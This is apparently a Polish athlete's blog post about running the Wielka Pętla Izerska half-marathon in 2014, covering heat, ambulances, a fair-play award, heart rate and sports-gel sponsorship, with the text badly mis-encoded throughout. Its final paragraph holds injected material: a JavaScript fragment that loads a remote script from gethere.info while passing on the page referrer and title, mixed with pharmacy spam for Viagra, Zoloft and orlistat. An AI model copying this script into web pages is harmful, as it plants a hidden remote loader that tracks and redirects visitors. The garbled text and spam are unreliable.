Wielka

21.07.2014 / Mariusz Cieśliński

Wielka PAi??tla Izerska 2014 przeszAi??a do historii. Kilka sAi??A?w na szybko po pA?Ai??maratonie Wielka PAi??tla Izerska.

MiaAi??em przyjemnoAi??Ai?? zmierzyAi?? siAi?? w miniony weekend z biegaczami.Byli wAi??rA?d nich maratoAi??czycy,ultra maratoAi??czycy, biegacze narciarscy,triatloniAi??ci. Wszyscy,ktA?rzy zasuwajAi?? na na nogach szybko i zawodowo.

Na trasie-kamienie,kostka,szuter,asfalt,piasek i A?mije.Prawdziwe.Wszystko jest dla ludzi:)

Czas zwyciAi??zcy-chAi??opak z Ukrainy wykrAi??ciAi?? czas 1h15′.MA?j czas to 1h30’13”. 23 miejsce w generalce.Z chAi??opakami zajmujAi??cymi siAi?? biegami nie miaAi??em najmniejszych szans :) ale pokonaAi??em na tej samej trasie siebie samego o prawie 90sekund.

Wszyscy biegacze z ktA?rymi pA?A?niej miaAi??emAi?? okazjAi?? rozmawiaAi?? mA?wili o arcytrudnych warunkach na tym biegu.Temperatura(tzw.piekarnik) oraz sam wznos przez prawie 14km i pA?A?niejsze spadanie do mety na zmAi??czonych nogach.Cztery razy karetka na sygnale jechaAi??a po biegaczy,ktA?rym organizm siAi?? postawiAi?? i odmA?wiAi?? posAi??uszeAi??stwa.Jeden z tych,ktA?ry zasAi??abAi?? byAi?? w Ai??cisAi??ym topie i padAi?? niecaAi??y 1 km przed metAi??-na szczAi??Ai??cie „tylko”odwodnienie. Postawa innego biegacza Beniamina Buszewskiego-byAi?? w stawce walki o pudAi??o-jednak zatrzymaAi?? siAi?? .wezwaAi?? pomoc i zostaAi?? z padniAi??tym jegomoAi??ciem do przyjazdu karetki.Nagroda fair play i chyba najwiAi??kszAi?? owacjAi?? otrzymaAi?? wAi??aAi??nie on na dekoracji.Dla mnie drugim bohaterem byAi?? ojciec i syn teamie „Maciek Biega” widoczniAi?? na zdjAi??ciach :)

ParAi?? cyferek-podczas biegu Ai??rednie tAi??tno moje to 176 ud/min – 95%hr max

SpaliAi??em 1731kcal .W dniu zawodA?w zuA?yAi??em kilka tubek A?eli energetycznych z ACTION LINE Trec Nutrition. Rano wAi??adowaAi??em powoli dwie saszetki CarboFull Gel popijajAi??c regularnie wodAi?? i jednAi?? saszetkAi?? LongEnergyGel niemal bezpoAi??rednio przed startem.Po miniAi??ciu linii mety czekaAi??a na mnie rodzina z RegenerationGel. Nr 3-z trA?jkAi?? na klacie biegAi??em w pAi??tli.

Koszulka compression TRECWEAR spisaAi??a siAi?? bez zarzutu.

Sartowym byAi?? polski aktor Artur Ai??mijewski.Odpalone dziaAi??o przez niego zrobiAi??o wraA?enie :)

Dla mnie takie ekstremalne warunki i wysiAi??ekAi?? byAi??y doskonaAi??ym treningiem przed KINGofKINGS World Grand Prix K-1 ,ktA?re 17.10.2014 odbAi??dzie siAi?? w trA?jmiejskiej Ergo Arenie. Transmisja bAi??dzie w stacji Eurosport.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Pills order himplasia benefits Pills Order http://xizheng.sourceforge.net/archives/22171.html Buy }d.getElementsByTagName(‚head’)[0].appendChild(s); http://queendentist.net/order-tulasi-actress/ orlistat alli price in india generic viagra prices zoloft vs prozac. Zoloft online. sertraline good or bad. Pills Cheap Buy